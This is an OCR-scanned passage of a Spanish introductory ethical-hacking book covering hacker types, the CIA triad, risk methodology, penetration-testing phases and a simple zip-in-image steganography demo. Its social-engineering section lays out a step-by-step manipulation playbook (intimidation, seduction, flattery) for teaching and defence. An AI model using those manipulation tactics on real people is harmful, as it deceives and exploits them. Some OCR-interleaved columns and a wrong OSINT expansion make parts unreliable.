que fuera de buscarlos con la fuerza de la ley,
muchas empresas como Facebook, Google y Uber
han decidido crear programas de recompensas
(bug bounty) para motivar a estos hackers a
continuar con esta actividad, pero reportar sus
encuentros antes que publicarlos y dafar la imagen

de la organizacion.
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Podemos decir que, estos hackers hackean fuera
del marco de la ley, pero no para robar o daiar la

seguridad de la informacion de una organizacion.

Sombrero Negro:

Este es el tipo de hacker que todos hemos
escuchado, o hasta tenidos encuentros con alguno,
es el que sale muy seguido en las peliculas de
Hollywood, es el cibercriminal.

Este tipo de hacker es el que tiene una misién
clara, comprometer la seguridad de la
informacién, ;para qué? Generalmente dinero, a
veces poder, a veces reputacion, piensa en la red
como una zona de guerra, y estos son los
terroristas, los guerreros que saquean ciudades,
sin embargo, no pienses en un cibercriminal como
cualquier otro criminal, este tipo de hacker no por
ser un criminal, debes pensar en él como el
pandillero de la esquina que te asalta con una
navaja.

Estos hackers son gente con estudios avanzados,

muchos con maestrias o incluso doctorados, y
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millones de ddlares en fondeo en investigacién
simplemente para crear nuevas formas de
comprometer la informacion de las personas y
organizaciones, algunos son guerreros, y debes
pensar en ellos como exmilitares altamente
capacitados, algunos son creadores de armas, y
debes pensar en ellos como lo que son, ingenieros
expertos en su area, y con recursos suficientes
como para atacar a la mayoria de las
organizaciones actualmente.

Esta es la razén por la que existimos nosotros

como empresa, esta es la razén por la que

existe este libro, sin conocimientos, estamos

indefensos ante estos criminales, somos como un
nifno intentando pelear contra un soldado altamente
capacitado y armado, la Unica forma de esperar

defendernos es crecer en conocimientos.

Seguridad de la informacién y seguridad

informatica

No toda la informacion esta en un sistema

informatico, y, sin embargo, no deja de ser
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informacién, potencialmente sensible, y con
potencial de ser comprometida.

Dentro de la seguridad de la informacion se tiene
que considerar todas las areas en las que se pueda
comprometer algun dato sensible, a mi me gusta

dividirlas en tres areas:

1. Seguridad fisica:
Esta area es en la que se puede comprometer la
seguridad del punto de vista fisico, es decir,
cualquier cosa tangible, como una puerta o ventana
que permita acceder a un intruso, o un papel en
donde esté escrito algo confidencial, aunque
ultimamente se le pone cada vez menos atencion,
es muy importante tomarlo en cuenta, ;porque cual
es el punto de tener una computadora con antivirus
y mitigaciones contra ataques informaticos si un
ladron puede simplemente entrar por la ventana y
robarsela?
Algunos ejemplos de como mejorar la seguridad de
esta area son la seguridad perimetral (cercas,

bardas, puertas) y el disefio de seguridad
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(transparencia, luz, espacios abiertos), entre otras
cosas.

Cabe mencionar que en esta area se considera
particularmente importante proteger Ia integridad
de las personas (asi es, también se considera
seguridad fisica proteger a las personas contra

incendios, ataques terroristas, terremotos, etc.).

2. Seguridad social, o ingenieria social
Aqui lo importante es proteger la informacion que
las personas saben, ya que también informacion
sensible puede ser filtrada por ese medio. Por
ejemplo, que alguien escuche una conversacion
privada y obtenga informacién sensible
simplemente por escuchar y estar cerca, ¢ 0 que tal
que un directivo sea seducido por una espia
corporativa para que hable de secretos
empresariales? Suena fantasioso, pero sucede

mucho mas comun de lo que pensarias.

Este tipo de seguridad usualmente es el 4rea mas

débil de cualquier organizacion, ya que la gente es
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facilmente manipulable.
Algunas formas de mitigar esto es con buenas
politicas de seguridad y capacitacion al
personal.

3. Seguridad logica
Aqui finalmente podemos decir que es seguridad
informatica, todo lo anterior era seguridad de la
informacion. La seguridad logica es todo lo que
esta dentro de un sistema, y es de las formas mas
comunes de ataque hoy en dia, puede ser un
ataque a un servidor, una base de datos,
computadora, o incluso celular.
Algunas de las formas en las que se puede mitigar
este tipo de ataques es con soluciones de

seguridad como firewalls, IDS, IPS y antivirus.

i

En si, todas las areas de la sequridad de la

informacion pueden ser mejoradas por medio de

una auditoria en sequridad, por eso es por lo que

son tan importantes.
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Cualidades de la seguridad de la informacion ?
3. Disponibilidad |

Y la dltima cualidad de la informacion, es que esta

Ahora que sabes que es un hacker, debes saber,

de qué formas puede ser comprometida la

seguridad de la informacion. debe de ser posible acceder, en el momento que

La seguridad de la informacién debe tener tres se requiere, por quien tiene permiso de accederla.

caracteristicas para considerarse segura: Un ejemplo de disponibilidad comprometida es
1. Confidencialidad:

Confidencialidad significa que solo la persona que

cuando una pagina esta caida y los usuarios no

tiene permiso de ver la informacién puede poder Siempre que un hacker vaya a atacar o defender a

|
|
1 pueden acceder a esta.
un activo, buscara defender o atacar en alguna de

verla.

Un ejemplo serio que alguien viera tus estas tres areas.

conversaciones de Facebook sin tu permiso. =
La triada de la Seguridad

2. Integridad | /\

Integridad de la informacion significa que la [Confldenc:awhdaﬂ

informacion solo debe de ser accedida o cambiada

por la persona que tenga permiso de ello. \ Seguridad
Por ejemplo, si alguien manda un correo | de la
oy Informacion
electronico desde tu cuenta porque obtuvo acceso it S _—
no autorizado, compromete la integridad de la Integridad D'W‘?Q’E’L"dad
.

informacion.

62 63




|

F
‘VYV!-IITE S

Metodologia para mejorar la seguridad de la
informacion

Ya que vimos las tres cosas que queremos
proteger, ahora toca saber como defenderlas. Para
proteger la triada de la seguridad, se debe llevar
una metodologia profesional, la cual, si es llevada
de forma adecuada, mejorara de forma importante
la seguridad de cualquier organizacion, y
minimizara la posibilidad de un ataque exitoso, y, lo
mas importante, es que mitigara las pérdidas
econdémicas si el ataque tiene éxito.
La metodologia consiste en 5 fases esenciales:

1. Analisis de riesgo
Esta fase sirve para el diagnéstico, para esto, se
buscan tres cosas en particular, la primera siendo
vulnerabilidades, que son errores que permitirian
realizar actos que puedan comprometer |a
seguridad de la informacion, un ejemplo de esto
podria ser que no actualizaste el servidor o
computadora y por lo tanto no tienes el ultimo

parche de seguridad y eres vulnerable a algun error
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en el software que tienes instalado. El segundo
objetivo que se analiza son las amenazas, esto es
la circunstancia que permite que se materialice el
escenario en el que se cause una falla en la
seguridad de la informacion, como ejemplo podria
ser que un competidor esté buscando activamente
sabotearte, ahi esta el actor que busca causar un
dafio a tu infraestructura, es una amenaza, y por
ultimo; el riesgo, que es la probabilidad que una
amenaza suceda, dando a lugar a un ataque al
sistema, por ejemplo, no es lo mismo tener una
organizacion en la que tienes vulnerabilidades
criticas y varias personas que quieren atacarte
pero ninguna tiene el conocimiento o acceso al
conocimiento técnico para llevar a cabo el ataque,
al tener una organizacion con vulnerabilidades
dificiles de explotar pero con una amenaza que
tiene los recursos y los medios para explotar dicha
vulnerabilidad, y por lo que se tiene que hacer un
analisis del porcentaje que este escenario se
convierta en realidad, y cuantas pérdidas podria

causar si se materializa.
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2. Definir nivel aceptable de riesgo. situacion real se toman en cuenta un numero de
Ningun nivel de riesgo €s aceptable, muchos otros factores).
pensaran que si, pero la realidad es que €s0 NO Probablemente no, ya que el riesgo contra el costo
existe, no existe sistema que sea 100% de mitigacion y la potencial pérdida es demasiado,
impenetrable, solo es una cuestion de cuantos pero esos factores ayudarian a definir el nivel
recursos, tiempo y motivacion tenga el atacante, aceptable de riesgo para cada activo.

tenemos que definir como consultor, junto al

cliente, un nivel aceptable de riesgo. 3. Disefiar formas de medicion.

Este nivel aceptable de riesgo debe de ser un nivel Existen muchas formas en la que la seguridad

en el que si se da la circunstancia, no cause puede ser comprometida, y no todas pueden ser
pérdidas tan grandes al negocio que se pueda ver medidas de la misma forma, asi que se tiene que
en problemas. Lo obvio es que lo ideal es que pensar en alguna forma de cémo medir y cuél es el
nunca se causen pérdidas, pero imaginémonos un nivel de seguridad actual, de forma que se pueda
caso, organizacion “x” tiene una vulnerabilidad y saber si se tiene que mejorar, o si se esta en un
amenaza que, si se materializa, causara una | nivel aceptable.

pérdida de $100,000, sin embargo, la probabilidad ‘ Por ejemplo, fallas en ingenieria social podrian ser
de que se materialice es un 5%, y 1a contingencia medibles por porcentaje de empleados que

para eliminar esa vulnerabilidad le costaria a la cayeron en “x” tipo de ataque, y fallas en un
organizacién $100,000 pesos, tu, siendo el tomador servidor podria medirse por numero de

de decisiones, harias este gasto? (asumiendo que vulnerabilidades encontradas.

la pérdida monetaria es lo Unico importante, en una
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4. Implementar contramedidas.

Tomando en cuenta el nivel aceptable de riesqo, se

deben de implementar contramedidas para llevar el
nivel de riesgo actual debajo del aceptable.
Algunas contramedidas podrian ser firewalls, IDS,

antivirus, capacitacion, etc....

5. Evaluar constantemente.

La seguridad debe de ser considerada como la
medicina para los sistemas, imaginemos que
tuviste cancer, pero te lo detectaron y te curaste,
¢, Dejarias de ir al doctor por ello?

Claro que no, igual es la seguridad de la
informacion, debe de realizarse un diagnostico
cada cierta cantidad de tiempo de forma que se
confirme que el nivel de riesgo siempre es el

adecuado.
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Retos en la seguridad de la informacion

Como probablemente te habras dado cuenta para
este punto, incluso con nuestras metodologias y

técnicas como experto en seguridad, la seguridad
informatica no es perfecta, asi como un doctor por

mas bueno que sea es imposible salvar a todos los

pacientes.

Aqui te presento uno de los mayores retos a la
seguridad de la informacion, otra triada.

En esta traida en particular, se imagina al activo
que se busca asegurar en el centro, y en cada
esquina una de tres cosas, seguridad, que se
refiere a que tan seguro en las tres areas es un
activo, usabilidad, que se refiere a que tan facil es
de utilizar y funcionalidad, que se refiere a que tan
bien hace su funcion principal, mientras mas
muevas el activo hacia un lado, mas se aleja de los
otros, por lo que como experto en seguridad,
tenemos que aprender a encontrar un equilibrio

enfre estas tres cosas.
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Por ejemplo, digamos que queremos poner un
control de acceso con control biométrico y
contrasefia en una fabrica, esto indudablemente
mejoraria la sequridad, ya que se controlaria mejor
quien y como entra la gente, sin embargo, la
usabilidad empeoraria, ya que si tienes empleados
que no tienen alta capacidad de retencion, tendras
que capacitarlos para usar el nuevo control de
acceso, y la funcionalidad también empeoraria
contra una puerta normal, ya que por mas
sofisticado que sea el sistema, incrementa el
tiempo en el que un empleado puede llegar de la
entrada de la fabrica, a su area de trabajo.

En muchas ocasiones estos “sacrificios” son
necesarios, sin embargo, tiene que ser analizados
cuidadosamente, ya que muchos podrian
representar inversiones o pérdidas importantes si

una solucion es mal implementada.

70

VWonres

VWonre sur

Seguridad

Funcionalidad ‘Usabilidad

Ingenieria Social

La ingenieria social es la metodologia no-técnica
de manipular a las personas por medio de sus
defectos para llegar a un objetivo, usualmente
malicioso.

Es tipicamente referido como el “eslabén mas
débil” de cualquier organizacion, y por muy buena
razon, realmente es complicado llegar a ser un
gran hacker sin conocer minimo los fundamentos

de esta metodologia de ataque.
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A pesar de ser una metodologia no-técnica, sigue
cierta metodologia para llegar a un objetivo, y se
toman en cuenta varias “fallas” tipicas que tenemos
inherentemente los humanos.
Tipicamente se mencionan cuatro principales
fallas humanas que permiten un ataque de
ingenieria social:

1. Todos queremos ayudar.
Somos un animal social, esta en nuestra naturaleza
querer ayudar y agradar a la gente, y generalmente
eso es algo bueno, pero un ingeniero social sabra
como tomar provecho de esa bondad.

2. El primer movimiento siempre es de

confianza

A pesar de que vivimos en un mundo cada vez mas
peligroso, generalmente hablando, a menos que
veamos algo que nos haga cambiar de opinion, al
iniciar una interaccion con alguien no asumimos
que nos quiere hacer un dafo, entonces, en el
“primer movimiento”, usualmente estamos con la
“guardia baja”, esa guardia baja es un buen

momento para un ataque.
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3. No nos gusta decir no
. Nunca te ha tocado que fe piden algo y tienes que
decir no, o que no puedes hacer algo? ;Como te
sentiste? Probablemente sentiste algo de culpa o
negatividad por un momento, y es normal, todos
tenemos un impulso instintivo para buscar la
aprobacion de otras personas, pero si ese impulso
es suficientemente fuerte, puede convertirse en
una vulnerabilidad.

4. A todos nos gusta que nos alaben
Todos tenemos un ego, una autoimagen de
nosotros en la que generalmente SOMOS Mas
atractivos, inteligentes, fuertes de lo que realmente
somos, y en muchos de nosotros, si se Nos
alimenta esa parte de nuestra personalidad,
bajaremos la guardia instantaneamente.
Piénsalo, en aIgtJIn momento ¢ Alguien te ha dado
un cumplido y automaticamente lo tratas mejor o le
ayudas? o ¢ viceversa? Sucede todo el tiempo, y es
una de las herramientas preferidas de los

ingenieros sociales para llevar a cabo sus ataques.
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Metodologia de un ataque de ingenieria social

Asi como existen metodologias para ataques
informaticos, para realizar experimentos cientificos,
y para muchas otras cosas, también existe una
metodologia que generalmente se sigue para llevar
a cabo ataques de ingenieria social.

La metodologia no es muy compleja, sin embargo,
seguirla definitivamente hara la diferencia entre un
ataque exitoso y uno que no lo es.

Esta metodologia se conforma de 5 pasos basicos:

1. Objetivo
Suena obvio, pero antes de realizar cualquier
ataque, un atacante debe de definir cual es su
objetivo. Quiere obtener informacion clasificada?
0 ¢un acceso directo? ;Qué es lo que puede
esperar obtener y como lo va a utilizar? ; A quién
vas a atacar para esto?
Casos de ataques de ingenieria social han
fracasado debido a que el atacante no planeo

adecuadamente su objetivo y alcance esperado.
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2. Investigacion previa
Después de haber determinado el objetivo sobre
qué quieres obtener y de quien, toca investigar a la
persona.
Muchos no saben lo complejo que es un ataque de
ingenieria social, para hacer uno, estos ataques
han sido planeados como cualquier operativo
militar; donde se tiene que investigar todo de la
persona: sus gustos, donde vive, cuanto gana, su
familia, etc., ya que esto se utilizara en las
siguientes fases.

3. Primer movimiento.
El primer “hola” es muy complejo y simple al mismo
tiempo; se utiliza la informacion obtenida de la fase
anterior para planear muy cuidadosamente cuando,
como, quien y donde se hara el primer
acercamiento; si la persona es amante de los
perros, se le contactard en un parque de perros, es
financiero, se le hablara de una oportunidad de
inversion. Cada caso es diferente, pero esta fase
es la mas importante, ya que, si esta fracasa, ya

sabemos la respuesta.
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4. “Jugada”
Aqui es donde se explota ese primer acercamiento,
algunos ataques de ingenieria social pueden tomar
meses o hasta afos dependiendo del objetivo, en
este paso se debe de obtener la confianza de la
victima de cualquier forma posible, y cuando se
tenga la suficiente, llegar al objetivo, que puede ser
desde robar una clave, hasta datos de la topologia
de la red de una organizacion.

5. Salida
Y finalmente, un ingeniero social habil, después de
haber realizado el ataque, antes que la victima se
percate de la situacion, éste se debera haber

alejado de esta, sin levantar sospechas.
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Técnicas de ataques de ingenieria social

Asi como existen diferentes técnicas para realizar
ataques informaticos en artes marciales y otras
actividades, hay diferentes técnicas que se pueden
utilizar dentro de esta metodologia para llegar a
una meta. No podria mencionar todas las técnicas
posibles en unos cuantos parrafos, pero
mencionaré tres de las técnicas mas utilizadas en

ataques de ingenieria social.
1. Uso de autoridad/Intimidacion

Las personas tienden a responder bastante rapido
cuando se trata de una persona con autoridad
sobre ellas, y precisamente esa es una de las
formas ;en las que muchos ataques de ingenieria
social son llevados a cabo, un ingeniero social
puede hacerse pasar por el jefe de alguien, ya sea
por medio de un correo electronico, llamada, o

incluso inventar un puesto que la victima no
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conozca, si la victima cae, tipicamente le hara caso

al atacante.

Es muy comin que este ataque se utilice junto con
intimidacién, causando miedo en la victima de
forma que se vea presionada en actuar
inmediatamente en favor al atacante.

2. Explotacién sexual

Suena obvio, y de seguro has sido parte de algtn
ataque de estos o minimo lo has presenciado, aqui
se utiliza el coqueteo con una persona para que
baje la guardia hacia el atacante, de este punto
solo es cuestion de realizar la jugada bien, es uno
de los ataques mas peligrosos para la mayoria de
las personas, especialmente los hombres.

Para que te des una idea, literalmente existen
“agencias” de supermodelos que su verdadero
negocio es seducir empresarios y politicos para
robar informacién confidencial y venderla o

utilizarla.
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3. Ataque de ego

El atacante utiliza la vanidad o el ego de la victima,
que usualmente en estos casos es alguien
frustrado con su trabajo o que busca aprobacion
externa, y quiere probar lo inteligente o el nivel de
conocimiento que tiene, el atacante podria
pretender ser alguien a quien la victima quiera
ayudar, por ejemplo, un policia o algo similar, y
utilizar esa falla para obtener informacion

confidencial.

Como defender contra ataques de
ingenieria social

La unica forma de detener un ataque de ingenieria
social, c;s detectarlo a tiempo, y aunque hay
algunas claves tipicas que menciona el instituto de
seguridad computacional (CSI: Computer Security
Institute) como que el atacante se rehusé a dar
datos de contacto, presion, intimidacion, errores

pequefos, o solicitar informacion confidencial, la
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Unica forma real de mitigar este tipo de ataque, es
entrenar a los empleados.

Lo mas efectivo seria entrenar a que los empleados
piensen como un hacker, que aprendan y se
familiaricen con ataques de hackers, y como
funcionan y tuvieron éxito, para vencer al
enemigo, hay que pensar como este.
Adicionalmente, se pueden crear programas de
capacitacion y concientizacion. Algunas de las
formas mas efectivas son probarle al empleado que
es vulnerable, realizando un “ataque” interno o de
un auditor de la compania, de forma que el
empleado se dé cuenta que no esta
adecuadamente preparado, y que al momento en el
que note algo sospechoso, reportarlo.

Este trabajo de capacitacion es bastante complejo
y laborioso, ya que es dificil que todo el personal
de una organizacion este adecuadamente
capacitada contra la mayoria de los ataques de
ingenieria social, pero, cualquier mejora a la
seguridad pone a la organizacién un paso mas

lejos de ser atacado por un hacker.
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Prueba de penetracion

La prueba de penetracion es una herramienta en la
seguridad informatica, para identificar los riesgos
amenazas y vulnerabilidades de una organizacién
desde el punto de vista fisico, l6gico(informatico) o
social, simulando un ataque del hacker.

Esto permite a la organizacion saber su nivel de
seguridad, sus vulnerabilidades, y que tan débiles o
fuertes estan, es el equivalente a un doctor
haciendo un chequeo médico completo. Esto NO
ASEGURA al 100% que una organizacion no podra
ser atacada, ya que depende del nivel del hacker
de sombrero blanco que realizd la prueba de
penetracion y del nivel del hacker de sombrero
negro que realice el ataque rr{alicioso contra la

organizacion.
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Metodologia de la prueba de penetracion

¢ Qué separa a un hacker profesional de un
aficionado? En mi opinion, debes aprender la
metodologia adecuada, ya que no importa que tan
habil seas, si no la sigues ya que eventualmente te
encontraras con algun problema ya sea técnico, o
profesional por no haberla seguido.
Hay diferentes fuentes de donde tomar la
metodologia para una prueba de penetracion, sin
embargo, no tienden a diferir mucho una de otra,
yo prefiero hablar de la metodologia estandar de
prueba de penetracion, ya que habla no solo del
lado técnico, sino también lo que se debe de hacer
antes y después de una prueba de penetracion.
Esta metodologia consiste en 7 pasos:

1. Interacciones preliminares
Antes de realizar cualquier paso de una prueba de
penetracion, aunque sea solo “investigar” o
“escanear” a tu cliente, se debe realizar un contrato

con el cliente.
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Este contrato puede variar dependiendo de las
necesidades de tu cliente, pero hay algunas cosas
que generalmente todo contrato pre-prueba de
penetracion debe de tener.

Primer punto: El alcance, en el que dice que se te
permite probar y hacer y que no, esto es muy
importante, ya que de no tomarlo en cuenta te
puede meter en serios problemas. Por ejemplo,
estas haciendo un trabajo, y encuentras un servidor
vulnerable a una negacion de servicio (DOS),
realizas el ataque, y, efectivamente se cae el
servidor, sin embargo, ese era el servidor de
produccion, y ahora le costaste al cliente una
buena cantidad de dinero en pérdida de
informacion y productividad, que fue la razon para
la que te contrataron desde el inicio. También aqui
aplica el rango de IPs que puedes o no puedes
probar, y si puedes realizar ataques contra la
seguridad fisica o social de la organizacion o no.
Segundo punto: Medir el tiempo, ya que no puedes
simplemente cobrar por un trabajo que no sabes

cuando lo vas a terminar, ademas, si se realiza un
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ataque real de un cibercriminal mientras tu estas

auditando, es mas probable que se piense que la
culpa es tuya, las formas en las que te puedes
proteger, es respetando el alcance y tiempo de
auditoria.

Tercer punto: Adicionalmente, se deben firmar
acuerdos de confidencialidad, tanto para tu
proteccion como para la del cliente, definir metas
en especifico, y tacticas aceptables Yy ho
aceptables de ataque, por ejemplo, el cliente te
puede solicitar que no ataques a sus empleados en
lo personal, o no hagas pruebas de estrés que
puedan tumbar un sistema.

Hay un nimero de otras cosas que se deben de
tomar en cuenta, sin embargo, sugiero leer la
documentacion en la fuente al final de esta seccién
O contactar a un abogado, ya que son temas
legales y normativos.
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2. Obtencion de informacion /

Reconocimiento.

Antes de realizar cualquier ataque, necesitas

informacion, esta fase también es llamada

reconocimiento, y la meta aqui, es obtener
informacion que pueda ser relevante para
encontrar una debilidad por donde atacar, esta
informacion puede venir de diversas fuentes, desde
reconocimiento por medio de OSINT (Open
Source Network Intelligence), que permite
obtener informacion que esté publicamente
disponible, pero que aun asi sea util, hasta
escaneos directos a los sistemas para determinar
sistemas operativos, puertos y servicios.

Esta fase, entendiblemente, es la mas tediosa, sin
embargo, sin lugar a dudas, es la mas importante,
ya que obtener informacion util y relevante es lo
que determinara el éxito o fracaso de una prueba
de penetracion.

Cabe mencionar, que, en mi experiencia, aqui
usualmente se invierte mas tiempo que en

cualquiera de las otras fases.

85




—
" WHITES

3. Modelado de amenazas
Aqui como pentester, debes entender las
amenazas a las que tu cliente se puede enfrentar,
qué tipos de atacantes los pueden/quieren atacar,
qué activos son los mas valiosos o vulnerables en
Su organizacion, etc.
Por ejemplo, en algunas compaiiias su centro de
innovacion y desarrollo seria el mas importante, en
el otro, son sus estrategias de marketing, mientras
que en otro, podrian ser sus secretos industriales,
sea cual sea el caso, debes modelar las posibles
amenazas a las que esta organizacion se enfrenta.
Una vez hecho el modelado de amenazas,
identificadas cuales son los activos que son mas
importantes y menos importantes para la
organizacion que te ayudara a planear una prueba

de penetracion mas eficiente.
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4. Analisis de vulnerabilidades
Aqui combinamos la informacion obtenida en la
fase de reconocimiento, y la que obtuviste en el
modelado de amenazas, para identificar las
vulnerabilidades, o los puntos débiles de los
activos de la organizacion.
Puedes hacer este analisis de vulnerabilidades en
base a investigacion (por ejemplo en procesos, si
encuentras que alguna persona tiene alguna
caracteristica riesgosa para la informacion de la
organizacion), o en base a herramientas como
Nessus, Acunetix u otras, que te permitiran
encontrar puntualmente las debilidades de un
activo, y como atacarlas.

5. Explotacion
En esta fase, realizamos ataques contra las
debilidades que encontraste en la fase de analisis
de vulnerabilidades que te permitan llegar a los
activos mas importante de acuerdo a las fases de
reconocimiento y de modelado de amenazas, aqui
la meta es comprometer la informacion en alguna

de las tres areas (confidencialidad, integridad,
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disponibilidad), dependiendo del objetivo.

Para esto deberas dominar decenas de
herramientas y técnicas de ataque, desde creacion
de malware hasta explotaciéon de
vulnerabilidades, de forma que puedas obtener
acceso a tu objetivo.

Aunque en esta fase se llega al “momento de Ia
verdad”, en cuanto a comprometer o no la
seguridad, en la mayoria de los casos para este
punto ya tuvo éxito o fracaso la prueba de
penetracion desde antes de realizar el ataque,
debido a que un pentester experimentado, desde el
analisis de vulnerabilidades, ya sabe exactamente
como y dénde atacar para tener éxito.

6. Post-explotacion

Entrar al sistema no es suficiente, luego de entrar,
se necesita probar la gravedad del asunto, se
puede probar robando algun archivo, dejando una
nota de prueba, o, a veces, utilizando ese sistema
explotado para explotar a otros sistemas. La
metodologia se llama pivote, Y por este medio se

puede utilizar a un sistema comprometido para
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atacar a otros sistemas comunicados con el
primero a través de este.

7. Reportaje
Finalmente, el reporte, a los técnicos usualmente
no nos agrada mucho esta fase, pero este es tu
entregable, es por lo que se paga una prueba de
penetracion, asi que tienes que hacerlo bien.
Primero, usualmente se separa un reporte en dos,
el reporte técnico, y el reporte ejecutivo, debido a
que usualmente no es la misma persona que va a
corregir los problemas, que la que te va a pagar.
En el reporte técnico, debes narrar toda tu
metodologia; desde cual es tu objetivo, hasta como
obtuviste acceso a los sistemas o archivos
comprometidos, asi como documentaciéon de cémo
funcionan las vulnerabilidades y como podrias
corregirlas con recomendaciones, o un plan de
accion para corregir estas, este reporte esta
enfocado a la gerencia de T, es decir, aqui pones
todos los reportes de vulnerabilidades, capturas de
pantalla, y datos técnicos que el cliente pueda

necesitar para corregir sus fallas.
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Por otro lado, el reporte ejecutivo. es el que Tipos de prueba de penetracion

presentas a la gerencia general, que usualmente Una organizacion podria ser atacada desde afuera

s0n quienes te contratan. Este reporte no debe o desde dentro de distintos niveles, asi que las
llevar ningtin dato técnico, a Ia gerencia le debes
reportar por medio de graficas entendibles y

resumen, que contengan el nivel de riesgo tienen,

‘pruebas de penetracion se clasifican en lo que
llamamos “cajas”, y existen tres.

Caja Negra

para que comprendan el dinero que potencialmente La caja negra es la mas complicada de todas, este

se ahorraron al contratarte para mejorar su es el punto de vista de un atacante externo, al

seguridad de la informacion. hacer una prueba de penetracién de caja negra, el

En resumen, a el tecnico, le interesa la cliente no te dara ninguna informacion ni acceso

metodologia técnica que usaste, y al ejecutivo le interno, y atacaras 100% como si fueras alguien

interesa el dinero que representa tus resultados. ——
Este es el tipo de prueba de penetracion mas dificil,

tardada, y costosa, que solo pentesters

experimentados deberian realizar.
N/ &
q-¢ v Caja Gris
¢¢ ’% La caja gris te da cierta informacion y nivel de
4 % acceso, varia, pero generalmente te da algun
Technical Guidelines acceso de algun nivel de alguien interno a la
: organizacion, al estar dentro, hace el trabajo mas

Fuente para mas detalles de cada paso:

httos://pentest-standard.orq
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sencillo, y debes tomar en cuenta un ataque desde
el punto de vista de un empleado.

Este es el tipo de caja mas comun, ya que es el
punto medio, y es bastante efectivo en mejorar la
seguridad empresarial de una organizacion.

Caja Blanca

La ultima categoria es la caja blanca, aqui te dan
absolutamente toda la informacion sobre lo que
vayas a auditar, es particularmente util, por
ejemplo, cuando haces pruebas de penetracion de
codigo o sistemas internos, en los que puedes
identificar errores mas facilmente si tienes

conocimiento del funcionamiento de estos.

GRAY -B0X WHITE -BOX
[ESTING TESTING [ESTING

UL KROWIEDGE

BLACK ~BOX

SOME KNOWLEDGE
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Formas de ocultar informacion

Criptografia

Criptografia es la practica y estudio de las técnicas
que se utilizan para comunicacion segura contra lo
que llamaremos “adversarios”, tiene mas de un
siglo de ser utilizada para proteger la integridad,
confidencialidad y disponibilidad de canales de
comunicacion, y el fundamento es bastante
sencillo, digamos que queremos mandar el texto
“hola” a alguien mas, pero no queremos que nadie
que intercepte la comunicacién pueda leerlo,
entonces cambiamos cada letra de “hola” por otra
cosa, digamos, por un nimero, en el que cada letra
representa su orden en el abecedario, entonces
mandamos “816121”, haciendo que los
‘adversarios” que intercepten el mensaje no
puedan leerlo, y al mandarle la “llave”, o el método
para desencriptarla el mensaje a la persona que si

quieres que reciba el mensaje, este si podra leerlo.
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Esta es una simplificacion de lo que es la
criptografia moderna, que utiliza llaves publicas,
privadas, y llaves asimétricas tan complejas que
son esencialmente imposibles de romper(por
meétodos simples) a “fuerza bruta”, o probando
todas las combinaciones posibles, como podria ser
el caso con el ejemplo anterior, asi que puedes ver
la criptografia como si fuera un “candado”
imposible de romper que guarda algun secreto, sin
embargo, el “adversario” sabe que hay algo ahi y

que guarda un secreto dicho cofre con candado.

Cifrado en archivos

Hay varias formas en las que se utiliza la encriptacion,
una muy sencilla que seguro has visto implementada,
es la encriptacion en archivos, como los archivos PDF o
comprimidos que necesitan una contrasefa para abrir,

esto es utilizar encriptacion en un archivo.
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Encriptacion punta-punta

También seguramente has escuchado hablar de la
encriptacion punta a punta, por ejemplo en WhatsApp,
esto significa que transmitiste una llave y te
transmitieron una llave a ti con quien te estas
comunicando, haciendo que el canal de comunicacion
entre dos personas por ejemplo, mensajeando por
WhatsApp, sea privado, también se utiliza esto cuando
entras a una pagina, por ejemplo PayPal, un portal de
pago, o casi cualquier pagina moderna que tiene
encriptacion SSL, lo cual tu navegador marca como
“seguro”, esto significa que la pagina a la que entraste
esta comunicandose de forma segura contigo, y que
nadie puede interceptar facilmente lo que transmitas por
este medio, sin embargo, esto

B hitps.//whitesuithacking.com

no significa que la pagina sea l [

annection 15 secure

segura, solo significa que la ~ teurinfemation

i

Learn muors

comunicacion entre ta y la
i % 7 <> iavascript
pagina es privada.

[ Pogp-ups and redirects

& Certificate {Vand)

@

Cookies

KE  Site settings

‘VW!*LTF 2]

example, passwords or cradit

i card numbers)is private when it is zent ta this site.

| aew =]
i i i
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Esteganografia Practica
Ahora, esteganografia es la otra forma de ocultar Vamos a imaginar que tenemos un documento de texto
informacion, sin embargo, esta es diferente que ' con un secreto en el archivo secreto.txt, y queremos
criptografia, ya que, en vez de ponerle un candado a la | mandarlo a alguien oculto en una imagen, de forma que
informacion, la ocultas en algo de forma que nadie sepa para nadie méas se vea sospechoso.
que este alli, si comparamos, podriamos decir que : ‘ =
criptografia seria como ocultar algo en una caja fuerte a , ; =
la vista, y estenografia seria como un camuflaje eso | T secretont
mismo a plena vista, pero que nadie reconozca. | T e

i Open v |1 R fhe

lee t:J
ésecrétu del Libro| |

Por ejemplo, un uso comun de esteganografia es i

i Blain Text =  Tab Width: 8 » n1,Cal18 = SINs=]
1

Vamos é empezar por comprimir el archivo en un .zip

ocultar archivos tal como archivos de texto, programas,

U otras cosas, en archivos .mp3, .mp4, o imagenes, de

forma que solo la persona que sepa que tiene que

buscar algo ahi, va a encontrar algo, hagamos una 2 '
= OpenWith Text Editor Returs
Open With Other Application

Cut Ciriex |
Copy Ctelsl |

practica de una forma sencilla en la que podemos hacer
esto.

We Move to..
PristoNerD | PRISIeNERD 42 e

Move to Trash Delete |

S secreto.zip

Star

Properties
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Ahora, vamos a ocultar el archivo compreso en la
imagen ImagenWS.jpg utilizando el comando cat
secreto.zip > ImagenWsS.jpg
/Desktop# s
] secreto.txt
:~/Desktop# cat secreto.zip > ImagenWs.;
:~/Desktop#

iListo! Asi de sencillo es ocultar un archivo dentro de
una imagen, para comprobar que funciono, voy a borrar
los archivos secreto.txt y secreto.zip y voy a sacar el

archivo oculto de la imagen con el comando unzip

ImagenWSs.jpg.
:~/Desktop# rm secreto.*
:~/Desktop# 1s

ey ﬂaht@p# unzip ImagenWs.j
ImagenWs. jpg

Archive:
inflating: secreto.txt
1~/ op# s
secreto.txt
/| op# cat secreto.txt
secreto del libro
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Preparacion del laboratorio

Antes de iniciar con la metodologia de hacking,
necesitas tu propio laboratorio de hacking, es
decir, un ambiente controlado en el que puedas
practicar y probar los ataques que aprendes sin
comprometer a sistemas internos, para esto,

utilizaremos lo que se conoce como virtualizacion.

Virtualizacion

La virtualizacion es la creacion de un ambiente
virtual por medio de software. Velo como una caja
de arena dentro de otra caja de arena, la segunda
caja de arena esta aislada y corre sobre la primera,
asi que, si se crea algin problema en la
maquina virtual, no causara problemas con la
maquina principal, que es una de las principales
razones, es decir, puedes hacer ataques,
malwares, etc. contra un sistema virtual sin temor a
afectar a tu sistema principal.

Otra razén por lo cual la virtualizacién es muy util,

es mientras este prendida la maquina virtual divide
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los recursos de la computadora principal para
asignarle a este, y mientras esté apagada no
utiliza recursos, asi que no hara nuestro sistema
principal mas lento o menos poderoso por tener
